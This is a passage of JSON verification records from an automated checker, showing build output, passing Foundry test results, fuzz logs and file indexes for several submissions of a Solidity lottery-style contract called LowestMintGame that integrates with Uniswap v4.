passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0cf9d226f48404d8ebdacfae65b1fb2377869606d2c40b97581119654eb828cc","verifiedTreeHash":"43c86d19af95203c076b5e1bd1318f8347486b8c","verifierVersion":"0.1.0+8f703f9f"},{"checks":[{"durationMs":6068,"exitCode":0,"name":"build","output":"Compiling 87 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.91s\nCompiler run successful!\n","passed":true},{"durationMs":59083,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5637404)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.03ms (18.84ms CPU time)\n\nRan 17 tests for test/AdversarialMint.t.sol:AdversarialMintTest\n[PASS] testFuzz_fullPositiveInt128FloorIsInclusive(uint128) (runs: 512, μ: 2278587, ~: 2282400)\nLogs:\n  Bound result 1466\n\n[PASS] test_configurationAndSettlementCannotReenterDuringTokenDelivery() (gas: 1585243)\n[PASS] test_eachDependencyFailurePreservesExistingRewardsAndAllowsNextMint() (gas: 19327296)\n[PASS] test_failedFirstMintDoesNotStartTimerOrFreezeConfiguration() (gas: 930636)\n[PASS] test_failedReconfigurationLeavesLastValidConfigurationUsable() (gas: 724101)\n[PASS] test_finalizationEventsIncludeLastContributionAndDeferredClaimRecipient() (gas: 21982498)\n[PASS] test_maximumPaymentIsRejectedWithoutCreatingAnEntry() (gas: 71384)\n[PASS] test_maximumSignedReceiptAndAggregateAboveUint128AreNotTruncated() (gas: 1095752)\n[PASS] test_maximumUserMinimumRevertsWithoutTruncationAndCanRetry() (gas: 1517042)\n[PASS] test_minimumSignedOutputCannotWrapIntoAHugeReceipt() (gas: 1522182)\n[PASS] test_nativeCreditPartialDebitOrFullMintPriceCannotConsumePriorRewards() (gas: 2992151)\n[PASS] test_oneRawTokenIsAValidReceiptAndEarliestTieWins() (gas: 1002372)\n[PASS] test_ownershipTransferAndRenunciationDoNotMovePrizeRights() (gas: 1586982)\n[PASS] test_paymentForwarderIsPayerAndOriginCannotClaimItsPrize() (gas: 1221374)\n[PASS] test_timeoutFinalizationEventDistinguishesUnsoldGame() (gas: 910666)\n[PASS] test_tokenGiftsAndTransfersDoNotRewriteReceiptsOrWinner() (gas: 1195993)\n[PASS] test_wrongPaymentBoundariesRevertThroughBothOverloadsWithExistingPot() (gas: 2661551)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 334.98ms (179.32ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6378440, ~: 3493416)\nLogs:\n  Bound result 20\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1696713)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 914987)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1599059)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450509)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524888)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269117)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235087)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 611101)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23268688)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310227)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1252798)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529097)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 353.77ms (384.28ms CPU time)\n\nRan 49 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340405, ~: 340388)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3345758, ~: 3344586)\nLogs:\n  Bound result 971676375442897587705939\n  Bound result 10682174290022599344\n  Bound result 1320622547782679\n  Bound result 1168782996\n  Bound result 846505\n  Bound result 956791784686907154160616\n  Bound result 15308699852888\n  Bound result 28359478\n  Bound result 999999999999999999999958\n  Bound result 295\n  Bound result 518582104329194598696550\n  Bound result 269973971388587991165502\n\n[PASS] testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71255, ~: 71386)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1098564)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65105)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435254)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1123789)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 633173)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102522)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157407)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225657)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82969)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42357)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840806)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1176475)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648910)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486782)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188111)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81772)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21716747)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222955)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400405)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21484780)\n[PASS] test_finalMintGasLimitCannotForceDeferralForCooperativeWinner() (gas: 74265167)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1157068)\n[PASS] test_lowGasSettlementRevertsInsteadOfDeferringThePrize() (gas: 770785)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 743162)\n[PASS] test_mintFailsUntilConfigured() (gas: 672457)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537108)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123727)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 563988)\n[PASS] test_poolBoundMintKeepsFloorDeadlineAndConfigurationChecks() (gas: 1280716)\n[PASS] test_poolBoundMintRejectsConfigurationReplacedAfterTheQuote() (gas: 1782535)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21294191)\n[PASS] test_returnBombingWinnerCannotRaiseSettlementGasAboveTheReserve() (gas: 17987684)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 400101)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 782019)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403602)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20706807)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745254)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058829)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029629)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637927)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681488)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 269768)\n[PASS] test_wrongSettlementReverts() (gas: 373383)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567460)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 353.85ms (530.28ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        |\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 566\n  Bound result 3000\n  Bound result 1120\n  Bound result 4\n  Bound result 4808\n  Bound result 999999999999999999999978\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 999999999999999999999997\n  Bound result 6\n  Bound result 189748451\n  Bound result 2\n  Bound result 242\n  Bound result 2\n  Bound result 999999999999999999999996\n  Bound result 5\n  Bound result 19\n  Bound result 599290589\n  Bound result 8\n  Bound result 123393\n  Bound result 1000\n  Bound result 196095\n  Bound result 758\n  Bound result 1\n  Bound result 1709\n  Bound result 8\n  Bound result 4\n  Bound result 3696005331\n  Bound result 4\n  Bound result 96\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 999999999999999999999961\n  Bound result 5\n  Bound result 23856061402\n  Bound result 1\n  Bound result 4732\n  Bound result 2192\n  Bound result 500\n  Bound result 9978\n  Bound result 87061\n  Bound result 999999999999999999999912\n  Bound result 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.48s (7.47s CPU time)\n\nRan 3 tests for test/RealPoolInvariant.t.sol:RealPoolInvariantTest\n[PASS]\nRealPoolInvariantTest invariants:\n[PASS] invariant_historyMatchesDeliveryEvenAfterTokensMove\n[PASS] invariant_rewardsAndNativeBalancesMatchIndependentCashFlows\n[PASS] invariant_winnerIsTheEarliestMinimumAndFinalizationNeverReopens\n RealPoolInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------+--------------+-------+---------+----------╮\n| Contract            | Selector     | Calls | Reverts | Discards |\n+=================================================================+\n| RealPoolGameHandler | advanceTime  | 3014  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | claim        | 3078  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | enter        | 3099  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | forceSurplus | 3165  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | moveTokens   | 3070  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | rejectMint   | 3016  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | settle       | 3088  | 0       | 0        |\n|---------------------+--------------+-------+---------+----------|\n| RealPoolGameHandler | trade        | 3046  | 0       | 0        |\n╰---------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 910280192079929950\n  Bound result 4758\n  Bound result 2079\n  Bound result 13302\n  Bound result 5\n  Bound result 1\n  Bound result 1\n  Bound result 112185528\n  Bound result 11\n  Bound result 732803411961663535\n  Bound result 278854529229003177\n  Bound result 418936660468463966\n  Bound result 8\n  Bound result 25480885306538\n  Bound result 42\n  Bound result 1\n  Bound result 394\n  Bound result 5\n  Bound result 137\n  Bound result 1\n  Bound result 500\n  Bound result 11\n  Bound result 14479\n  Bound result 3\n  Bound result 760585965797305462\n  Bound result 1999999000000007421\n  Bound result 6929\n  Bound result 14981\n  Bound result 36597610242094619\n  Bound result 546467155805253110\n  Bound result 14796176513237794\n  Bound result 2213\n  Bound result 32\n  Bound result 1001\n  Bound result 15\n  Bound result 3\n  Bound result 1\n  Bound result 128610213675141471\n  Bound result 0\n  Bound result 1999999008292450794\n  Bound result 421700519265182778\n  Bound result 2\n  Bound result 20\n  Bound result 1999999000000004092\n  Bound result 5\n  Bound result 13\n  Bound result 9\n  Bound result 1999999001223604644\n  Bound result 140928\n  Bound result 1999999000000020356\n  Bound result 6086\n  Bound result 19\n  Bound result 12\n  Bound result 86\n  Bound result 1\n  Bound result 13\n  Bound result 2581\n  Bound result 308798\n  Bound result 9\n  Bound result 14\n  Bound result 9\n  Bound result 4\n  Bound result 1999999000000018886\n  Bound result 2592000\n\n[PASS] test_handlerReachesSelloutWithRejectingWinnerAndClaimRetries() (gas: 44777465)\nLogs:\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 20\n  Bound result 1\n\n[PASS] test_handlerTradesBothWaysAndKeepsHistoryAfterTransfer() (gas: 5923099)\nLogs:\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1079436542732677956\n  Bound result 1\n  Bound result 1000000000000000000\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 58.91s (58.96s CPU time)\n\nRan 6 test suites in 58.91s (67.44s CPU time): 84 tests passed, 0 failed, 0 skipped (84 total tests)\n","passed":true},{"durationMs":97,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(bytes32,uint256,uint256)\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":275,\"docs/SECURITY.md\":97,\"docs/VALIDATION.md\":50,\"foundry.toml\":21,\"remappings.txt\":4,\"src/LowestMintGame.sol\":297,\"test/AccountingInvariant.t.sol\":167,\"test/AdversarialMint.t.sol\":411,\"test/INDEPENDENT_TESTS.md\":71,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":706,\"test/RealPoolInvariant.t.sol\":222,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/ExternalPoolTrader.sol\":55,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":198,\"test/helpers/RealPoolGameHandler.sol\":287,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0fcfe82f7b87e6ae69f5fc81c5a8986a85d5674f36d338480d039b9330848ca3","verifiedTreeHash":"37a46885df9499536d85d846c7ae45713e4221a3","verifierVersion":"0.1.0+8f703f9f"},{"checks":[{"durationMs":2682,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.53s\nCompiler run successful!\n","passed":true},{"durationMs":5743,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5467361)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.91ms (9.79ms CPU time)\n\nRan 45 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340298, ~: 340291)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3345619, ~: 3344520)\nLogs:\n  Bound result 971676375442897587705939\n  Bound result 10682174290022599344\n  Bound result 1320622547782679\n  Bound result 1168782996\n  Bound result 846505\n  Bound result 956791784686907154160616\n  Bound result 15308699852888\n  Bound result 28359478\n  Bound result 999999999999999999999958\n  Bound result 295\n  Bound result 518582104329194598696550\n  Bound result 269973971388587991165502\n\n[PASS] testFuzz_wrongPaymentRevertsAtomically(uint96) (runs: 256, μ: 71279, ~: 71410)\n[PASS] test_autoPayoutAndClaimReentrancyCannotDoublePay() (gas: 1089066)\n[PASS] test_callbackCannotBeForgedOrInvokedOutsideAMint() (gas: 65083)\n[PASS] test_callerCannotWeakenConfiguredMinimum() (gas: 435123)\n[PASS] test_claimCannotBurnPrizeOrSendItBackToGame() (gas: 1114577)\n[PASS] test_configurationCanBeCorrectedBeforeFirstMintAndLocksAfterward() (gas: 630856)\n[PASS] test_configurationRejectsCodeLessTokenOrHook() (gas: 102433)\n[PASS] test_configurationRejectsInvalidFeeAndHooks() (gas: 157301)\n[PASS] test_configurationRejectsWrongCurrenciesAndSpacing() (gas: 225531)\n[PASS] test_configurationRejectsZeroOrUnreachableFloor() (gas: 82947)\n[PASS] test_configurationRequiresInitializedPool() (gas: 87497)\n[PASS] test_configurationRequiresOwner() (gas: 42335)\n[PASS] test_constructorRejectsZeroOwnerAndManager() (gas: 6391)\n[PASS] test_defaultMintUsesConfiguredFloorAndInclusiveMinimum() (gas: 840762)\n[PASS] test_deferredClaimReentrancyCannotDoublePay() (gas: 1167026)\n[PASS] test_directETHIsRejectedAndForcedSurplusIsNotAnEntryOrReward() (gas: 648813)\n[PASS] test_exactDeadlineIsAllowed() (gas: 486761)\n[PASS] test_explicitMintRejectsZeroFloorAndExpiredDeadline() (gas: 188024)\n[PASS] test_factoryDeploymentAssignsExplicitOwnerWithoutDependencyCode() (gas: 81654)\n[PASS] test_failedFinalMintLeavesGameOpenAndPriorAccountingIntact() (gas: 21714993)\n[PASS] test_failedPoolSwapRollsBackPayment() (gas: 222780)\n[PASS] test_falseReturningTokenRollsBackSwap() (gas: 400296)\n[PASS] test_finalMintCanBecomeWinnerAndItsRewardIsIncluded() (gas: 21483025)\n[PASS] test_gasConsumingWinnerCannotBlockTimeoutSettlement() (gas: 1147764)\n[PASS] test_lowGasSettlementDefersPrizeWithoutLosingClaim() (gas: 698543)\n[PASS] test_mintBuysWithExactSplitAndRecordsPayerAndActualReceipt() (gas: 742846)\n[PASS] test_mintFailsUntilConfigured() (gas: 650327)\n[PASS] test_missingCallbackAndDuplicateCallbackFail() (gas: 537044)\n[PASS] test_multipleEntriesTrackIndividualMinimumAndAggregateReceipts() (gas: 1123552)\n[PASS] test_noReturnTokenCanBeReceivedExactly() (gas: 564030)\n[PASS] test_rejectingWinnerCannotBlockSelloutAndCanRedirectClaim() (gas: 21287627)\n[PASS] test_revertingTokenRollsBackSwap() (gas: 399970)\n[PASS] test_settlementRejectsEmptyGameEarlyAndDuplicateActions() (gas: 781938)\n[PASS] test_slippageFailureRollsBackSwapTransferAndEntry() (gas: 403493)\n[PASS] test_soldOutAutomaticallyPaysAllRewardsAndPreventsLateMint() (gas: 20709543)\n[PASS] test_taxedOrBonusTokenCannotManufactureScore() (gas: 745101)\n[PASS] test_tiesBelongToEarliestMint() (gas: 1058764)\n[PASS] test_timeoutBoundaryRejectsMintAndAllowsAnyoneToSettle() (gas: 1029482)\n[PASS] test_tokenCallbackCannotReenterMint() (gas: 637950)\n[PASS] test_tokenCallbackCannotReenterUnlockCallback() (gas: 681444)\n[PASS] test_twoStepOwnershipDoesNotGivePendingOwnerControl() (gas: 267329)\n[PASS] test_wrongSettlementReverts() (gas: 373274)\n[PASS] test_zeroAndNegativeOutputAreRejected() (gas: 567285)\nSuite result: ok. 45 passed; 0 failed; 0 skipped; finished in 268.76ms (244.29ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6971601, ~: 4074327)\nLogs:\n  Bound result 30\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1691573)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 909892)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1593919)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450487)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524822)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269140)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235110)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 606006)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23266491)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310250)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1247703)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529104)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 306.83ms (327.12ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS]\nAccountingInvariantTest invariants:\n[PASS] invariant_ETHIsConservedAndRewardsCannotBeTakenTwice\n[PASS] invariant_everyEntryAndPayerAggregateMatchesActualDelivery\n[PASS] invariant_leaderIsEarliestMinimumAndClosureIsIrreversible\n AccountingInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+----------------+-------+---------+----------╮\n| Contract    | Selector       | Calls | Reverts | Discards |\n+===========================================================+\n| GameHandler | advanceTime    | 1593  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | claim          | 1665  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | enter          | 1663  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | invalidPayment | 1635  | 0       | 0        |\n|-------------+----------------+-------+---------+----------|\n| GameHandler | settle         | 1636  | 0       | 0        |\n╰-------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 193854\n  Bound result 1000\n  Bound result 100\n  Bound result 2\n  Bound result 4337\n  Bound result 86400\n  Bound result 1\n  Bound result 714268139627856\n  Bound result 2\n  Bound result 200\n  Bound result 6\n  Bound result 189748451\n  Bound result 2\n  Bound result 1000001\n  Bound result 3\n  Bound result 32768\n  Bound result 5\n  Bound result 19\n  Bound result 522\n  Bound result 2\n  Bound result 8034\n  Bound result 10\n  Bound result 196095\n  Bound result 906\n  Bound result 5\n  Bound result 1617\n  Bound result 8\n  Bound result 308800\n  Bound result 588067041622227031669367\n  Bound result 1\n  Bound result 254\n  Bound result 27989566658842310\n  Bound result 2\n  Bound result 20000000000000000\n  Bound result 3\n  Bound result 23856061402\n  Bound result 1\n  Bound result 3895\n  Bound result 1332\n  Bound result 3\n  Bound result 9599\n  Bound result 87061\n  Bound result 999999999999999999999987\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.60s (5.60s CPU time)\n\nRan 4 test suites in 5.61s (6.19s CPU time): 60 tests passed, 0 failed, 0 skipped (60 total tests)\n","passed":true},{"durationMs":61,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LowestMintGame.acceptOwnership()\",\"LowestMintGame.claimRewards(address)\",\"LowestMintGame.configurePool((address,address,uint24,int24,address),uint256)\",\"LowestMintGame.finalize()\",\"LowestMintGame.mint()\",\"LowestMintGame.mint(uint256,uint256)\",\"LowestMintGame.receive()\",\"LowestMintGame.renounceOwnership()\",\"LowestMintGame.transferOwnership(address)\",\"LowestMintGame.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":37,\"LICENSE\":23,\"README.md\":222,\"docs/SECURITY.md\":85,\"docs/VALIDATION.md\":47,\"foundry.toml\":21,\"launch.json\":13,\"remappings.txt\":4,\"src/LowestMintGame.sol\":275,\"test/AccountingInvariant.t.sol\":167,\"test/LaunchCompatibility.t.sol\":33,\"test/LowestMintGame.t.sol\":576,\"test/UniswapV4Integration.t.sol\":247,\"test/helpers/GameFixture.sol\":67,\"test/helpers/LiquiditySeeder.sol\":49,\"test/helpers/Mocks.sol\":191,\"test/helpers/SwapHook.sol\":60},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"37534d58b0ba88483054a58a7581923d04c73b0e1b22110617953a3fe5a665f4","verifiedTreeHash":"0a9ad9a2d7788027c1adc3289ec1b00d9fdea11d","verifierVersion":"0.1.0+8f703f9f"},{"checks":[{"durationMs":3884,"exitCode":0,"name":"build","output":"Compiling 87 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.78s\nCompiler run successful!\n","passed":true},{"durationMs":48459,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/LaunchCompatibility.t.sol:LaunchCompatibilityTest\n[PASS] test_emptyChainDeploymentHasBoundedRuntimeAndNoEscapeOpcodes() (gas: 5467361)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.93ms (17.79ms CPU time)\n\nRan 13 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testFuzz_realPoolReceiptsMatchTokenBalanceDeltas(uint8) (runs: 256, μ: 6387787, ~: 3027329)\nLogs:\n  Bound result 20\n\n[PASS] test_realDynamicFeeHookAndOutputFeeAreAccountedBeforeScoring() (gas: 1691573)\n[PASS] test_realExhaustedLiquidityRejectsPartialFill() (gas: 909892)\n[PASS] test_realHookCannotPoisonSettlementCurrencyOrReenterMint() (gas: 1593919)\n[PASS] test_realPoolNoReturnTokenIsSupported() (gas: 450487)\n[PASS] test_realPoolSwapPaysNativeDebtAndTransfersIMDDirectly() (gas: 524822)\n[PASS] test_realPoolTaxedTokenCannotChangeWinningScore() (gas: 269140)\n[PASS] test_realPoolTokenTransferFailureRevertsAllState() (gas: 235110)\n[PASS] test_realPoolWithNoLiquidityCannotCreateAnEntry() (gas: 606006)\n[PASS] test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() (gas: 23266491)\n[PASS] test_realSlippageRevertRestoresPoolPriceBalancesAndEntryState() (gas: 310250)\n[PASS] test_rejectingRealHookRollsBackEntry() (gas: 1247703)\n[PASS] test_timeoutSettlementDoesNotNeedLivePoolOrToken() (gas: 529104)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 298.45ms (320.03ms CPU time)\n\nRan 17 tests for test/AdversarialMint.t.sol:AdversarialMintTest\n[PASS] testFuzz_fullPositiveInt128FloorIsInclusive(uint128) (runs: 512, μ: 2275233, ~: 2279602)\nLogs:\n  Bound result 25091464117729256538794882669711920476\n\n[PASS] test_configurationAndSettlementCannotReenterDuringTokenDelivery() (gas: 1585181)\n[PASS] test_eachDependencyFailurePreservesExistingRewardsAndAllowsNextMint() (gas: 19324448)\n[PASS] test_failedFirstMintDoesNotStartTimerOrFreezeConfiguration() (gas: 928208)\n[PASS] test_failedReconfigurationLeavesLastValidConfigurationUsable() (gas: 721873)\n[PASS] test_finalizationEventsIncludeLastContributionAndDeferredClaimRecipient() (gas: 21971680)\n[PASS] test_maximumPaymentIsRejectedWithoutCreatingAnEntry() (gas: 71429)\n[PASS] test_maximumSignedReceiptAndAggregateAboveUint128AreNotTruncated() (gas: 1093310)\n[PASS] test_maximumUserMinimumRevertsWithoutTruncationAndCanRetry() (gas: 1516770)\n[PASS] test_minimumSignedOutputCannotWrapIntoAHugeReceipt() (gas: 1521866)\n[PASS] test_nativeCreditPartialDebitOrFullMintPriceCannotConsumePriorRewards() (gas: 2991379)\n[PASS] test_oneRawTokenIsAValidReceiptAndEarliestTieWins() (gas: 1000017)\n[PASS] test_ownershipTransferAndRenunciationDoNotMovePrizeRights() (gas: 1577725)\n[PASS] test_paymentForwarderIsPayerAndOriginCannotClaimItsPrize() (gas: 1212030)\n[PASS] test_timeoutFinalizationEventDistinguishesUnsoldGame() (gas: 910695)\n[PASS] test_tokenGiftsAndTransfersDoNotRewriteReceiptsOrWinner() (gas: 1195795)\n[PASS] test_wrongPaymentBoundariesRevertThroughBothOverloadsWithExistingPot() (gas: 2660911)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 298.49ms (126.39ms CPU time)\n\nRan 45 tests for test/LowestMintGame.t.sol:LowestMintGameTest\n[PASS] testFuzz_inexactInputCannotSpendRewardsOrCreatePartialEntry(uint64) (runs: 256, μ: 340297, ~: 340291)\n[PASS] testFuzz_scoreAndConservationForSequence(uint128[12]) (runs: 256, μ: 3344833, ~: 3344039)\nLogs:\n  Bound result 999999999999999999999939\n  Bound result 463463408295386093384315\n  Bound result 51187888198978295226457\n  Bound result 999999999999999999999948\n  Bound result 397315725580102624917210\n  Bound result 886002654473298371069016\n  Bound result 466330596326838343\n  Bound result 103\n  Bound result 79280782864768870964166\n  Bound result 381\n  Bound result 1130457\n  Bound result 955677928331214913973567\n\n[PASS] 